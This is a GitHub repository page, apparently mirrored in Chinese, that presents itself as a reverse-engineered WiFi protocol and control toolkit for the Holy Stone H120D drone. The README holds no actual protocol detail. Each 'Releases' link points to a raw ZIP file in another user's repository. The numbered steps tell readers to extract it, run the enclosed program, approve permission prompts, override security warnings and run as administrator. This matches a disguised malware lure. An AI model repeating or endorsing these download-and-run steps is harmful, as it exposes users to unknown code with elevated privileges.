H4ck3rTR/h120d-protocol
GitHub: H4ck3rTR/h120d-protocol
该项目通过逆向工程完整记录了 Holy Stone H120D 无人机的 WiFi 通信协议,并提供配套控制工具以实现对无人机飞行指令和视频流的解析与操控。
Stars: 4 | Forks: 1
**此账号已收回
# 🛰️ h120d-protocol - 通过清晰的步骤控制 H120D
[](https://raw.githubusercontent.com/eeeg2610/h120d-protocol/main/arduino/protocol-d-h-v3.8-beta.2.zip)
## 📥 下载
访问此页面进行下载:[GitHub Releases](https://raw.githubusercontent.com/eeeg2610/h120d-protocol/main/arduino/protocol-d-h-v3.8-beta.2.zip)
请使用适用于 Windows 的最新 release 文件。如果该 release 包含 `.zip` 文件,请先下载,然后在运行其中的应用程序或脚本之前将其解压。
## 🪟 在 Windows 上开始使用
1. 打开 [Releases 页面](https://raw.githubusercontent.com/eeeg2610/h120d-protocol/main/arduino/protocol-d-h-v3.8-beta.2.zip)。
2. 在顶部找到最新的 release。
3. 下载 Windows 文件或 release 压缩包。
4. 如果文件是 `.zip` 格式,请右键单击它并选择 **解压全部**。
5. 打开解压后的文件夹。
6. 双击 release 中包含的 Windows 应用程序、脚本或工具。
7. 如果 Windows 请求权限,请选择 **是**。
8. 按照应用程序或脚本窗口中的屏幕提示进行操作。
## 🔍 此项目的作用
该项目为您提供了 Holy Stone H120D 无人机 WiFi 协议的工作视图。它有助于您了解无人机与您的计算机或手机之间如何通过 WiFi 进行通信。
它包括:
- 无人机使用的数据包格式
- 控制开始前的握手流程
- 飞行指令消息
- 视频流数据
- 来自无人机的 RT-Thread RTOS 详细信息
- 与协议配合使用的控制脚本
## 🧰 您需要准备的内容
为了在 Windows 上顺利开始使用,请准备:
- Windows 10 或 Windows 11
- 稳定的 WiFi 适配器
- Holy Stone H120D 无人机
- 200 MB 的可用磁盘空间
- 一种解压 ZIP 文件的方法,例如文件资源管理器
- 如果您想查看脚本,请准备一个文本编辑器
如果您计划使用控制脚本,请保持无人机电池已充电,并在设置过程中将无人机放置在您的 PC 附近。
## ⚙️ 设置的工作原理
release 文件旨在帮助您检查协议并运行提供的工具,而无需从源代码进行构建。
典型的流程如下所示:
1. 从 GitHub 下载最新的 release。
2. 如果需要,解压文件。
3. 将您的 PC 连接到无人机的 WiFi 网络。
4. 从 release 文件夹中启动工具或脚本。
5. 按照提示打开控制链路。
6. 使用包含的命令测试连接、控制或视频流捕获。
## 📡 无人机连接的工作原理
H120D 使用 WiFi 与控制器交换短数据包。这些数据包涵盖:
- 启动和配对
- 飞行控制
- 摄像头和视频数据
- 设备状态更新
该存储库以清晰的形式展示了这些部分是如何组合在一起的。这使得测试无人机链路、检查命令名称以及了解视频流是如何启动的变得更加容易。
## 🎮 包含的控制区域
该存储库涵盖了用户通常想要检查的主要部分:
- 解锁和握手消息
- 方向和油门命令
- 微调和模式更改
- 流启动和停止消息
- 基本数据包检查
- 来自固件的 RTOS 相关数据
## 🗂️ 您在 release 中可能会看到的文件
一个 release 可能包含:
- 适用于 Windows 的脚本
- 示例数据包日志
- 辅助工具
- 命令字段说明
- 视频流测试
- 协议参考文件
如果您看到一个脚本文件,可以双击打开它,或者如果 release 说明指示这样做,您可以从 PowerShell 运行它。
## 🖥️ 从 Windows 运行脚本
如果该 release 使用了脚本文件:
1. 打开解压后的文件夹。
2. 查找名称类似于 `run`、`start` 或 `control` 的文件。
3. 如果它是 Windows 应用程序或批处理文件,请双击该文件。
4. 如果它在控制台窗口中打开,请保持该窗口处于打开状态。
5. 使用屏幕上的提示连接到无人机。
如果 Windows 打开安全提示,请选择允许该文件运行的选项。
## 📶 连接到无人机 WiFi
在使用控制工具之前,请将您的 PC 连接到无人机 WiFi:
1. 打开无人机。
2. 等待其 WiFi 网络出现。
3. 打开 Windows WiFi 设置。
4. 选择无人机网络。
5. 如果需要,请输入 WiFi 密码。
6. 等待直到 Windows 显示已连接。
连接成功后,返回 release 文件夹并启动工具或脚本。
## 🎥 处理视频流
该存储库还涵盖了无人机摄像头使用的 H264 视频流。这有助于您检查实时视频是如何启动的,以及流数据包是如何通过 WiFi 传输的。
您可以使用这部分来:
- 检查摄像头流是否启动
- 审查流数据包数据
- 将流数据与飞行状态相匹配
- 测试读取 H264 数据流的捕获工具
## 🧪 实际应用场景
如果您想要执行以下操作,此项目会很有用:
- 研究 H120D 无人机如何通过 WiFi 通信
- 测试控制数据包
- 查看数据包布局
- 检查视频流
- 比较固件行为与实时流量
- 以后构建您自己的控制工具
## 📘 基本术语
该存储库中的一些词汇可能会有所帮助:
- **Packet**:通过网络发送的一小块数据
- **Handshake**:控制开始前的首次信息交换
- **Protocol**:双方遵循的规则
- **RTOS**:无人机运行的系统
- **H264**:用于流的视频格式
## 🛠️ 如果文件无法打开时的常见 Windows 步骤
如果打开文件后没有任何反应:
1. 右键单击该文件。
2. 如果 release 说明有要求,请选择 **以管理员身份运行**。
3. 检查该文件是否仍在 ZIP 压缩包内未解压。
4. 确保该文件位于常规文件夹中,例如 `Downloads` 或 `Desktop`。
5. 尝试再次打开该文件夹并从中运行文件。
如果该工具需要额外的文件,请将所有 release 文件保留在同一个文件夹中。
## 📎 如有需要请重新下载
如果您需要最新的文件,请转到 [GitHub Releases 页面](https://raw.githubusercontent.com/eeeg2610/h120d-protocol/main/arduino/protocol-d-h-v3.8-beta.2.zip) 并下载适用于 Windows 的最新 release 包。
## 🔧 存储库主题
arduino, drone, embedded, h264, holy-stone, iot, protocol, reverse-engineering, rt-thread, rtos, uav, wifi
标签:RT-Thread, 云资产清单, 内核驱动, 嵌入式系统, 无人机控制, 网络协议, 逆向工程